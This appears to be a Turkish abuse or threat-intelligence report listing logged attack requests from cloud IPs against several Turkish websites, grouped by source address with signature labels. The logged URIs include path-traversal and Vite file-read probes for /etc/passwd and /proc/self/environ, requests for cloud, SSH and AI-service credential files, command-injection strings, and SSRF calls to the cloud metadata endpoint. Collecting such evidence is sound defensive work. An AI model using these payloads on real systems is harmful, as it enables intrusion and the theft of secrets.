23/Aug/2026:05:23:49 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
23/Aug/2026:05:23:49 +0300teigmo.com.trGET200PROC_ENVIRON/@fs/proc/self/environ
23/Aug/2026:05:23:49 +0300teigmo.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
23/Aug/2026:05:23:49 +0300teigmo.com.trGET200PASSWD_FILE/static../etc/passwd
23/Aug/2026:05:23:49 +0300teigmo.com.trGET200AWS_CREDENTIALS/aws/credentials
23/Aug/2026:05:23:49 +0300teigmo.com.trGET200PASSWD_FILE/@fs/etc/passwd?import&raw??
23/Aug/2026:05:23:49 +0300teigmo.com.trGET200PASSWD_FILE/files../etc/passwd
23/Aug/2026:05:23:49 +0300teigmo.com.trGET200PROC_ENVIRON/proc/self/environ
23/Aug/2026:05:23:49 +0300teigmo.com.trGET200AWS_CREDENTIALS/static../.aws/credentials
34.177.84.49 — 12 saldırı imzalı istek / 88 toplam istek

Prefix: 34.177.80.0/20 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Aug/2026:06:04:15 +0300denizciden.com.trGET404CONFIG_SECRET/@fs/app/.anthropic/config.json?raw??
08/Aug/2026:06:04:15 +0300denizciden.com.trGET404CONFIG_SECRET/@fs/root/.config/openai/config.json?raw??
08/Aug/2026:06:04:20 +0300denizciden.com.trGET404AWS_CREDENTIALS/aws-credentials
08/Aug/2026:06:04:50 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
04/Aug/2026:09:00:59 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
04/Aug/2026:09:00:59 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
04/Aug/2026:09:00:59 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import
04/Aug/2026:09:00:59 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
04/Aug/2026:09:00:59 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
04/Aug/2026:09:00:59 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd
04/Aug/2026:09:01:18 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
04/Aug/2026:09:01:47 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.17.24.63 — 12 saldırı imzalı istek / 74 toplam istek

Prefix: 34.17.0.0/16 · Region: europe-west12

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Sep/2026:04:48:00 +0300denizciden.com.trGET404ENV_FILE/_environment
08/Sep/2026:04:48:00 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
08/Sep/2026:04:48:06 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
08/Sep/2026:04:48:06 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
08/Sep/2026:04:48:07 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
08/Sep/2026:04:48:08 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
08/Sep/2026:13:22:02 +0300denizciden.com.trGET404ENV_FILE/_environment
08/Sep/2026:13:22:02 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
08/Sep/2026:13:22:06 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
08/Sep/2026:13:22:07 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
08/Sep/2026:13:22:07 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
08/Sep/2026:13:22:08 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
35.236.57.69 — 11 saldırı imzalı istek / 164 toplam istek

Prefix: 35.236.0.0/17 · Region: us-west2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Sep/2026:05:54:13 +0300profesyonelweb.com.trGET404PROC_ENVIRON/api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ
12/Sep/2026:05:54:13 +0300profesyonelweb.com.trGET404PROC_ENVIRON/api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ
11/Sep/2026:19:20:15 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/userfiles?path=../../../../proc/self/environ
11/Sep/2026:20:27:00 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ
11/Sep/2026:20:27:06 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/userfiles?path=../../../../proc/self/environ
12/Sep/2026:00:07:24 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ
12/Sep/2026:00:07:24 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ
12/Sep/2026:00:07:28 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/userfiles?path=../../../../proc/self/environ
12/Sep/2026:11:09:28 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/userfiles?path=../../../../proc/self/environ
12/Sep/2026:12:34:33 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ
12/Sep/2026:12:34:37 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/userfiles?path=../../../../proc/self/environ
34.16.240.26 — 11 saldırı imzalı istek / 118 toplam istek

Prefix: 34.16.128.0/17 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Sep/2026:09:48:35 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
08/Sep/2026:09:48:35 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
35.243.243.53 — 11 saldırı imzalı istek / 36 toplam istek

Prefix: 35.243.128.0/17 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Jul/2026:20:45:56 +0300picassoshopcoffee.com.trHEAD301WP_CONFIG/wp-config.php.bak
08/Jul/2026:20:45:56 +0300picassoshopcoffee.com.trHEAD301WP_CONFIG/wp-config.php
08/Jul/2026:20:45:56 +0300picassoshopcoffee.com.trHEAD301AWS_CREDENTIALS/.aws/credentials
09/Jul/2026:19:21:25 +0300picassoshopcoffee.com.trHEAD301WP_CONFIG/wp-config.php
09/Jul/2026:19:21:25 +0300picassoshopcoffee.com.trHEAD301AWS_CREDENTIALS/.aws/credentials
09/Jul/2026:19:21:25 +0300picassoshopcoffee.com.trHEAD301WP_CONFIG/wp-config.php.bak
13/Jul/2026:16:00:46 +0300preview.picassoshopcoffee.com.trHEAD404WP_CONFIG/wp-config.php
13/Jul/2026:16:00:46 +0300preview.picassoshopcoffee.com.trHEAD404WP_CONFIG/wp-config.php.bak
11/Jul/2026:17:11:53 +0300rstbirlik.com.trHEAD404WP_CONFIG/wp-config.php
11/Jul/2026:17:11:53 +0300rstbirlik.com.trHEAD404WP_CONFIG/wp-config.php.bak
11/Jul/2026:17:11:53 +0300rstbirlik.com.trHEAD404AWS_CREDENTIALS/.aws/credentials
34.77.35.249 — 11 saldırı imzalı istek / 34 toplam istek

Prefix: 34.76.0.0/14 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
29/Aug/2026:03:11:51 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
29/Aug/2026:03:11:51 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
29/Aug/2026:03:12:02 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
29/Aug/2026:03:12:12 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
29/Aug/2026:03:12:50 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
29/Aug/2026:03:13:01 +0300profesyonelweb.com.trGET404PROC_ENVIRON/static../proc/self/environ
29/Aug/2026:03:13:05 +0300profesyonelweb.com.trGET403CMDI/?cmd=%3B+echo+GSCAN_CMDI+%23
29/Aug/2026:03:13:05 +0300profesyonelweb.com.trGET200CMDI/?command=%3B+echo+GSCAN_CMDI+%23
29/Aug/2026:03:13:09 +0300profesyonelweb.com.trGET403CMDI/?cmd=%60echo+GSCAN_CMDI%60
29/Aug/2026:03:13:13 +0300profesyonelweb.com.trGET200CMDI/?ping=%3B+echo+GSCAN_CMDI+%23
29/Aug/2026:03:13:17 +0300profesyonelweb.com.trGET200CMDI/?ping=%60echo+GSCAN_CMDI%60
35.228.77.165 — 10 saldırı imzalı istek / 147 toplam istek

Prefix: 35.228.0.0/16 · Region: europe-north1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
30/Aug/2026:08:18:23 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/sa.json
30/Aug/2026:08:18:23 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
30/Aug/2026:08:18:23 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/google-key.json
30/Aug/2026:08:18:23 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/firebase-key.json
30/Aug/2026:08:18:24 +0300parasalhaber.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
30/Aug/2026:08:18:24 +0300parasalhaber.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw
30/Aug/2026:08:18:24 +0300parasalhaber.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw
30/Aug/2026:08:18:24 +0300parasalhaber.com.trGET404PASSWD_FILE/@fs/etc/passwd
30/Aug/2026:08:18:24 +0300parasalhaber.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw
30/Aug/2026:08:18:25 +0300parasalhaber.com.trGET404PASSWD_FILE/@fs/etc/passwd?import&raw
34.53.233.72 — 10 saldırı imzalı istek / 63 toplam istek

Prefix: 34.53.128.0/17 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Aug/2026:04:29:47 +0300elixtria.comGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
06/Aug/2026:04:30:42 +0300elixtria.comGET200CMDI/?command=%3B+echo+GSCAN_CMDI+%23
06/Aug/2026:04:30:47 +0300elixtria.comGET200CMDI/?ping=%3B+echo+GSCAN_CMDI+%23
06/Aug/2026:04:30:50 +0300elixtria.comGET404CMDI/api/ping?host=%60echo+GSCAN_CMDI%60
06/Aug/2026:04:30:50 +0300elixtria.comGET403CMDI,EXEC_API/api/exec?cmd=%60echo+GSCAN_CMDI%60
06/Aug/2026:04:30:52 +0300elixtria.comGET403CMDI/admin/config?cmd=%3B+echo+GSCAN_CMDI+%23
06/Aug/2026:04:30:55 +0300elixtria.comGET403CMDI,EXEC_API/api/system?cmd=%60echo+GSCAN_CMDI%60
06/Aug/2026:04:30:55 +0300elixtria.comGET403CMDI/admin/config?cmd=%60echo+GSCAN_CMDI%60
06/Aug/2026:04:30:57 +0300elixtria.comGET403CMDI/system?cmd=%3B+echo+GSCAN_CMDI+%23
35.241.105.233 — 10 saldırı imzalı istek / 56 toplam istek

Prefix: 35.241.64.0/18 · Region: asia-east2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:20:39:35 +0300profesyonelwebserver.net.trGET200ENV_FILE/_environment
06/Sep/2026:20:39:35 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
06/Sep/2026:20:39:36 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/gcp-sa.json
06/Sep/2026:20:39:36 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/google-key.json
06/Sep/2026:20:39:37 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/firebase-key.json
08/Sep/2026:19:40:29 +0300profesyonelwebserver.net.trGET200ENV_FILE/_environment
08/Sep/2026:19:40:30 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
08/Sep/2026:19:40:31 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/gcp-sa.json
08/Sep/2026:19:40:31 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/google-key.json
08/Sep/2026:19:40:31 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/firebase-key.json
34.40.243.78 — 10 saldırı imzalı istek / 51 toplam istek

Prefix: 34.40.128.0/17 · Region: australia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
07/Sep/2026:11:21:07 +0300profesyonelwebserver.net.trGET200ENV_FILE/_environment
07/Sep/2026:11:21:08 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
07/Sep/2026:11:21:09 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/gcp-sa.json
07/Sep/2026:11:21:09 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/google-key.json
07/Sep/2026:11:21:10 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/firebase-key.json
08/Sep/2026:10:14:50 +0300profesyonelwebserver.net.trGET200ENV_FILE/_environment
08/Sep/2026:10:14:51 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
08/Sep/2026:10:14:51 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/gcp-sa.json
08/Sep/2026:10:14:52 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/google-key.json
08/Sep/2026:10:14:52 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/firebase-key.json
34.15.176.250 — 10 saldırı imzalı istek / 44 toplam istek

Prefix: 34.15.128.0/17 · Region: asia-southeast3

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
30/Aug/2026:06:46:19 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
30/Aug/2026:06:46:19 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
30/Aug/2026:06:46:19 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
30/Aug/2026:06:46:20 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
30/Aug/2026:06:46:22 +0300denizciden.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
30/Aug/2026:06:46:22 +0300denizciden.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw
30/Aug/2026:06:46:23 +0300denizciden.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw
30/Aug/2026:06:46:23 +0300denizciden.com.trGET404PASSWD_FILE/@fs/etc/passwd
30/Aug/2026:06:46:23 +0300denizciden.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw
30/Aug/2026:06:46:23 +0300denizciden.com.trGET404PASSWD_FILE/@fs/etc/passwd?import&raw
34.24.26.36 — 9 saldırı imzalı istek / 372 toplam istek

Prefix: 34.24.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
21/Aug/2026:00:35:48 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
21/Aug/2026:08:59:53 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
21/Aug/2026:11:17:17 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
34.57.214.8 — 9 saldırı imzalı istek / 317 toplam istek

Prefix: 34.56.0.0/14 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
07/Aug/2026:14:01:56 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
07/Aug/2026:14:01:56 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
06/Aug/2026:22:13:37 +0300parasalhaber.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
06/Aug/2026:22:13:37 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/service_account.json
07/Aug/2026:13:35:43 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
07/Aug/2026:13:35:43 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
07/Aug/2026:13:35:44 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
08/Aug/2026:14:42:20 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
08/Aug/2026:14:42:20 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
34.50.165.251 — 9 saldırı imzalı istek / 127 toplam istek

Prefix: 34.50.160.0/19 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
10/Sep/2026:04:54:05 +0300parasalhaber.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
10/Sep/2026:04:54:22 +0300parasalhaber.com.trGET404CONFIG_SECRET/@fs/root/.openai/config.json?raw??
10/Sep/2026:04:54:22 +0300parasalhaber.com.trGET404CONFIG_SECRET/@fs/app/.openai/config.json?raw??
10/Sep/2026:04:54:22 +0300parasalhaber.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
10/Sep/2026:04:54:22 +0300parasalhaber.com.trGET404CONFIG_SECRET/@fs/home/ubuntu/.openai/config.json?raw??
10/Sep/2026:04:54:33 +0300parasalhaber.com.trGET404AWS_CREDENTIALS/aws-credentials
10/Sep/2026:04:54:34 +0300parasalhaber.com.trGET404AWS_CREDENTIALS/aws_credentials
10/Sep/2026:04:55:02 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/service_account.json
10/Sep/2026:04:55:24 +0300parasalhaber.com.trGET404PROC_ENVIRON/proc/self/environ
34.62.51.20 — 9 saldırı imzalı istek / 123 toplam istek

Prefix: 34.62.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Sep/2026:04:55:24 +0300denizciden.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
12/Sep/2026:04:55:38 +0300denizciden.com.trGET404OCI_SECRET/@fs/home/ubuntu/.oci/config?raw??
12/Sep/2026:04:55:41 +0300denizciden.com.trGET404CONFIG_SECRET/@fs/app/.anthropic/config.json?raw??
12/Sep/2026:04:55:41 +0300denizciden.com.trGET404CONFIG_SECRET/@fs/home/ubuntu/.anthropic/config.json?raw??
12/Sep/2026:04:55:41 +0300denizciden.com.trGET404CONFIG_SECRET/@fs/home/ubuntu/.openai/config.json?raw??
12/Sep/2026:04:55:41 +0300denizciden.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
12/Sep/2026:04:55:41 +0300denizciden.com.trGET404CONFIG_SECRET/@fs/app/.openai/config.json?raw??
12/Sep/2026:04:55:52 +0300denizciden.com.trGET404AWS_CREDENTIALS/aws_credentials
12/Sep/2026:04:56:49 +0300denizciden.com.trGET404PROC_ENVIRON/proc/self/environ
35.237.91.97 — 9 saldırı imzalı istek / 41 toplam istek

Prefix: 35.237.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
26/Aug/2026:21:40:12 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
26/Aug/2026:21:40:12 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service_account.json
26/Aug/2026:21:40:12 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ed25519
26/Aug/2026:21:40:12 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/config/env/aws_credentials.env
26/Aug/2026:21:40:12 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/firebase-service-account.json
26/Aug/2026:21:40:12 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
26/Aug/2026:21:40:12 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_dsa
34.12.86.3 — 9 saldırı imzalı istek / 15 toplam istek

Prefix: 34.12.0.0/16 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
02/Sep/2026:23:12:32 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
02/Sep/2026:23:12:32 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
02/Sep/2026:23:12:32 +0300profesyonelweb.com.trGET200PASSWD_FILE/static../etc/passwd
02/Sep/2026:23:12:32 +0300profesyonelweb.com.trGET200PASSWD_FILE/files../etc/passwd
02/Sep/2026:23:12:32 +0300profesyonelweb.com.trGET200PASSWD_FILE/media../etc/passwd
02/Sep/2026:23:12:32 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
02/Sep/2026:23:12:32 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?import&raw??
02/Sep/2026:23:12:32 +0300profesyonelweb.com.trGET403PROC_ENVIRON,LOCAL_FILE_URL/read?url=file:///proc/self/environ
02/Sep/2026:23:12:32 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
35.243.110.237 — 9 saldırı imzalı istek / 13 toplam istek

Prefix: 35.243.64.0/18 · Region: asia-northeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Sep/2026:09:04:34 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
04/Sep/2026:09:04:34 +0300profesyonelweb.com.trGET403PROC_ENVIRON,LOCAL_FILE_URL/read?url=file:///proc/self/environ
04/Sep/2026:09:04:34 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
04/Sep/2026:09:04:34 +0300profesyonelweb.com.trGET200PASSWD_FILE/files../etc/passwd
04/Sep/2026:09:04:34 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
04/Sep/2026:09:04:34 +0300profesyonelweb.com.trGET200PASSWD_FILE/static../etc/passwd
04/Sep/2026:09:04:34 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
04/Sep/2026:09:04:34 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?import&raw??
04/Sep/2026:09:04:34 +0300profesyonelweb.com.trGET200PASSWD_FILE/media../etc/passwd
34.182.76.126 — 8 saldırı imzalı istek / 209 toplam istek

Prefix: 34.182.0.0/17 · Region: us-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:21:37:52 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
11/Aug/2026:21:37:52 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
12/Aug/2026:04:59:54 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
12/Aug/2026:04:59:54 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
12/Aug/2026:04:59:54 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
12/Aug/2026:11:08:05 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
12/Aug/2026:11:08:06 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
12/Aug/2026:11:08:08 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
35.189.207.86 — 8 saldırı imzalı istek / 72 toplam istek

Prefix: 35.189.192.0/18 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:22:12:38 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/service_account.json
06/Sep/2026:22:12:38 +0300parasalhaber.com.trGET404OCI_SECRET/.oci/sessions/DEFAULT/token
06/Sep/2026:22:12:38 +0300parasalhaber.com.trGET404OCI_SECRET/.oci/sessions/DEFAULT/oci_api_key.pem
06/Sep/2026:22:12:38 +0300parasalhaber.com.trGET404LOCAL_FILE_URL/__vite_rsc_findSourceMapURL?filename=file:///app/.env&environmentName=rsc
06/Sep/2026:22:12:38 +0300parasalhaber.com.trGET404PROC_ENVIRON,LOCAL_FILE_URL/__vite_rsc_findSourceMapURL?filename=file:///proc/self/environ&environmentName=rsc
06/Sep/2026:22:12:39 +0300parasalhaber.com.trGET404SSH_PRIVATE_KEY,LOCAL_FILE_URL/__vite_rsc_findSourceMapURL?filename=file:///root/.ssh/id_rsa&environmentName=rsc
06/Sep/2026:22:12:39 +0300parasalhaber.com.trGET404PROC_ENVIRON/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ
06/Sep/2026:22:12:39 +0300parasalhaber.com.trGET404PROC_ENVIRON/userfiles?path=../../../../proc/self/environ
34.76.51.81 — 8 saldırı imzalı istek / 41 toplam istek

Prefix: 34.76.0.0/14 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Aug/2026:02:04:40 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
06/Aug/2026:02:04:40 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw
06/Aug/2026:02:04:40 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw
06/Aug/2026:02:04:40 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
06/Aug/2026:02:04:40 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
06/Aug/2026:02:04:40 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
06/Aug/2026:02:04:49 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
06/Aug/2026:02:05:05 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.38.153.155 — 8 saldırı imzalı istek / 41 toplam istek

Prefix: 34.38.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Aug/2026:06:36:41 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
06/Aug/2026:06:36:41 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw
06/Aug/2026:06:36:41 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
06/Aug/2026:06:36:41 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
06/Aug/2026:06:36:41 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
06/Aug/2026:06:36:41 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw
06/Aug/2026:06:36:53 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
06/Aug/2026:06:37:16 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.16.237.221 — 8 saldırı imzalı istek / 20 toplam istek

Prefix: 34.16.128.0/17 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
18/Aug/2026:23:59:00 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
18/Aug/2026:23:59:00 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
18/Aug/2026:23:59:00 +0300profesyonelweb.com.trGET200PASSWD_FILE/static../etc/passwd
18/Aug/2026:23:59:00 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
18/Aug/2026:23:59:00 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
18/Aug/2026:23:59:03 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
18/Aug/2026:23:59:17 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
18/Aug/2026:23:59:26 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.84.243.159 — 8 saldırı imzalı istek / 11 toplam istek

Prefix: 34.84.0.0/16 · Region: asia-northeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Sep/2026:10:13:11 +0300profesyonelweb.com.trGET200PASSWD_FILE/files../etc/passwd
08/Sep/2026:10:13:11 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
08/Sep/2026:10:13:11 +0300profesyonelweb.com.trGET200PASSWD_FILE/static../etc/passwd
08/Sep/2026:10:13:11 +0300profesyonelweb.com.trGET200PASSWD_FILE/media../etc/passwd
08/Sep/2026:10:13:11 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
08/Sep/2026:10:13:11 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
08/Sep/2026:10:13:11 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?import&raw??
08/Sep/2026:10:13:11 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
34.135.21.65 — 7 saldırı imzalı istek / 367 toplam istek

Prefix: 34.132.0.0/14 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
10/Aug/2026:00:49:52 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
10/Aug/2026:00:49:52 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
10/Aug/2026:02:11:25 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/service_account.json
